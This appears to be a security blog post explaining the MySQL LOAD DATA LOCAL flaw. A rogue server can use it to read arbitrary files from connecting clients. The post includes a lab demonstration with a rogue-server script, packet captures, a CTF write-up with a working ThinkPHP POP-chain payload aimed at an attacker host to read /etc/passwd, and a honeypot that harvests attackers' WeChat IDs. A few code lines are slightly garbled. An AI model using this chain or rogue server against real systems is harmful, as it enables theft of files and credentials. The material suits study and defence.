Understanding the MySQL Vulnerability: Exploiting LOAD DATA LOCAL for Unauthorized File Access

Network security

IntroductionIn this section, we will examine the concept of MySQL vulnerability. This refers to potential weaknesses in MySQL, a popular open-source relational

  • LOAD DATA INFILE
  • Vulnerability principle
  • Vulnerability demonstration
  • Packet capture analysis
  • Practical exploitation
    • Reading sensitive information
    • Creating a MySQL honeypot
  • Ending
..

Introduction

MySQL vulnerability >

Yesterday (April 11, 2021), Yunshu shared a Weibo post suggesting someone posted an article with a honeypot on Freebuf. The code included MySQL account credentials. After testing, Yunshu discovered that this MySQL server could read files from the connected client.

Actually, the method by which this honeypot operates is a fascinating trick based on the fact that a MySQL server can exploit the LOAD DATA LOCAL command to read arbitrary files from a MySQL client. This has been a known vulnerability for a long time and was notably exploited by Dragon Sector and Cykor during the TCTF2018 finals for an unexpected solution to the h4x0r’s club challenge.

LOAD DATA INFILE

The LOAD DATA INFILE statement is designed for quickly reading rows from a text file into a table. The filename must be a string literal.

LOAD DATA INFILE is the opposite of SELECT ... INTO OUTFILE. To backup table data to a file, use SELECT ... INTO OUTFILE; to restore table data from a backup file, use LOAD DATA INFILE.

Standard example:

load data infile "/data/data.csv" into table TestTable;load data local infile "/data/test.csv" into table TestTable;

The first line reads the server local file, while the second line reads the client local file.

As shown below, we read the client local data.csv file into the TestTable table in the server database:

load data local infile "/tmp/data.csv" into table TestTable FIELDS TERMINATED BY ',';

MySQL vulnerability>

image-20210412104457432

We can also read files of any format into the table:

load data local infile "/etc/passwd" into table TestTable FIELDS TERMINATED BY '\n';

image-20210412104742862

As shown above, we successfully read the /etc/passwd file from the client into the server’s MySQL data table. Clearly, the LOAD DATA INFILE statement is not secure, as thoroughly documented in the MySQL official documentation: https://dev.mysql.com/doc/mysql-security-excerpt/5.7/en/load-data-local-security.html

image-20210412105237777

The general meaning is as follows:

  • Since LOAD DATA LOCAL is an SQL statement executed on the server side, and file transfers from the client host to the server host are initiated by the MySQL server, the MySQL server will tell the client the file named in the statement. In theory, a patched server can instruct the client to transfer any file the server chooses instead of the file named in the statement. Such a server can access any file on the client host that the client user has permission to read.

We will now conduct a detailed analysis of the vulnerabilities arising from this point.

Vulnerability principle

The core principle of the vulnerability is that the MySQL server can use the LOAD DATA LOCAL command to read any file from the MySQL client.

MySQL clients and servers communicate through dialogues. The client sends an operation request, then the server responds to the client’s request. During this process, if a client operation requires two requests to complete, the client will discard the first request after sending it, instead of storing it. Thus, the second request relies on the server’s response to continue, allowing the server to deceive the client into performing other actions.

In general, MySQL clients and servers communicate by the client sending an SQL statement, which the server executes and then returns the result. However, as mentioned earlier, the LOAD DATA INFILE command can read file contents and insert them into a table.

When the MySQL client executes the following LOAD DATA INFILE command:

load data local infile "/data/test.csv" into table TestTable;

The interaction between MySQL clients and servers can be represented by the following dialogue:

  1. Client: Insert my local /data/test.csv content into the TestTable table.
  2. Server: Please send me your local /data/test.csv content.
  3. Client: Sure, here is my local /data/test.csv content: 
.
  4. Server: Success/Failure

Under normal circumstances, this flow works without issues. However, as previously mentioned, the client does not know what it sent to the server on the second request, so it completely relies on the server’s instructions. Thus, if the server is malicious, a different interaction could occur:

  1. Client: Insert my local /data/test.csv content into the TestTable table.
  2. Server: Please send me your local /etc/passwd content.
  3. Client: Sure, here is my local /etc/passwd content: 
.
  4. Server: 
. Whatever it wants to do.

This way, the server illegally obtains the /etc/passwd file content. Today, I will demonstrate creating a fake server to deceive a legitimate client into accessing any file on the client host.

The MySQL official documentation contains this statement:

“A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL”

This means that a fabricated server can respond with a file-transfer request at any time, not limited to when LOAD DATA LOCAL is invoked.

Summarizing the cause of the vulnerability:

  1. The file that LOAD DATA INFILE reads is determined by the server’s file-transfer request, not the client.
  2. No matter what request the client sends, if the server responds with a file-transfer request, the client follows the LOAD DATA INFILE process to read and send the file content to the server.

Summarizing the entire attack process:

  1. The victim initiates a request to the attacker’s server and attempts to authenticate.
  2. The attacker’s MySQL server receives the victim’s connection request, sends a normal greeting, authenticates correctly, and requests a file from the victim’s MySQL client.
  3. The victim’s MySQL client, believing the authentication is correct, executes the request sent by the attacker and sends the file content back to the attacker’s MySQL server using the LOAD DATA INLINE function.
  4. The attacker receives information from the victim’s server, successfully reads the file, and the attack is complete.

Vulnerability demonstration

Some MySQL clients, such as Python’s MySQLdb and mysqlclient, PHP’s mysqli and PDO, Java’s JDBC Driver, and the native MySQL client, typically send SELECT statements to query version numbers, encoding, etc., after successfully connecting to MySQL. At this time, the vulnerability can be exploited by sending a file-transfer request to read files from the client.

It should be noted that to exploit this feature, the client must have CLIENT_LOCAL_FILES enabled, so the --enable-local-infile option may need to be added when connecting to the server.

Here is the test environment for this experiment.

Attacker (server):

  • Kali Linux
  • 192.168.43.247

Victim (client):

  • Ubuntu
  • 192.168.43.82

First, download the POC script Rogue-MySql-Server written by a senior, and locate the tuple filelist at line 26 of the rogue_mysql_server.py script:

image-20210407163934141

The filelist tuple contains the file paths on the victim’s host that need to be read (be mindful of paths when reading Windows files).

Then, on the attacker’s machine (server), execute the rogue_mysql_server.py script:

python rogue_mysql_server.py

image-20210407164158653

Afterwards, instruct the victim’s machine (client) to connect to the malicious server we set up on the attacker’s machine:

mysql -h192.168.43.247 -uroot -p --enable-local-infile

image-20210407175447854

The moment the client connects to the server set up by the attacker, the server can read /etc/passwd from the victim client’s machine and log it in the Rogue-MySql-Server’s log file:

image-20210407170904219

Exploitation succeeded.

Packet capture analysis

Below is the Wireshark packet capture analysis of the entire attack process. We analyze the client:

(1) When the client connects to the attacker’s fake server, the server sends a “Greeting” data packet, including the MySQL version and other information:

image-20210412110918522

(2) Then the client sends a MySQL login request to the server:

image-20210412111052854

(3) During login, the client performs several SELECT initialization queries for versioning, encoding, etc.:

image-20210412111410500

(4) Following this, the LOAD DATA LOCAL statement is executed for file transfer:

image-20210412111832063

From the captured traffic, we can see that the server read the /etc/passwd file content from the client.

Practical exploitation

Reading sensitive information

As some CMS systems allow backend database address binding, it may be possible to construct a malicious server to obtain some sensitive information. Below, we will use the [Red Valley CTF 2021] EasyTP CTF example to demonstrate.

Enter the challenge:

image-20210407173445324

Reporting an error randomly revealed it’s ThinkPHP 3.2.3, which has an SQL injection vulnerability caused by deserialization:

image-20210407173558811

Scanning the directories revealed a website backup file, www.zip. By downloading it and examining the default controller in the source code, a deserialization point was discovered:

image-20210407174656327

We can use this deserialization point to trigger an SQL injection or connect to our malicious MySQL server.

First, use rogue_mysql_server.py on your VPS to set up a malicious MySQL server (if the MySQL port is in conflict, you can change the port; in this case, I changed it to port 3307):

image-20210407175756657

Find a POP chain online, adjust the parameters, and launch the attack directly: https://f5.pm/go-53579.html

<?phpnamespace Think\Db\Driver{    use PDO;    class Mysql{        protected $options = array(            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // Enabling required for file reading        );        protected $config = array(            "debug"    => 1,            "database" => "thinkphp3",            "hostname" => "47.xxx.xxx.72",            "hostport" => "3307",            "charset"  => "utf8",            "username" => "root",            "password" => ""        );    }}namespace Think\Image\Driver{    use Think\Session\Driver\Memcache;    class Imagick{        private $img;        public function __construct(){            $this->img = new Memcache();        }    }}namespace Think\Session\Driver{    use Think\Model;    class Memcache{        protected $handle;        public function __construct(){            $this->handle = new Model();        }    }}namespace Think{    use Think\Db\Driver\Mysql;    class Model{        protected $options   = array();        protected $pk;        protected $data = array();        protected $db = null;        public function __construct(){            $this->db = new Mysql();            $this->options['where'] = '';            $this->pk = 'id';            $->data[$this->pk] = array(                "table" => "mysql.user where 1=updatexml(1,user(),1)#",                "where" => "1=1"            );        }    }}namespace {    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));}

Execute the POC to generate the payload:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMDo="... (truncated for the example)

Execution. As shown below, the /etc/passwd on the target host has been successfully read:

image-20210407182414600

image-20210407182515850

Successfully exploited.

Creating a MySQL honeypot

Similar to the article on Freebuf, a MySQL honeypot can be set up using this vulnerability to tempt attackers to connect and retrieve sensitive information from the attacker’s host.

There is a MySQL honeypot available on GitHub, allowing the extraction of an attacker’s WeChat ID through this method.

image-20210412112640639

Ending



Share this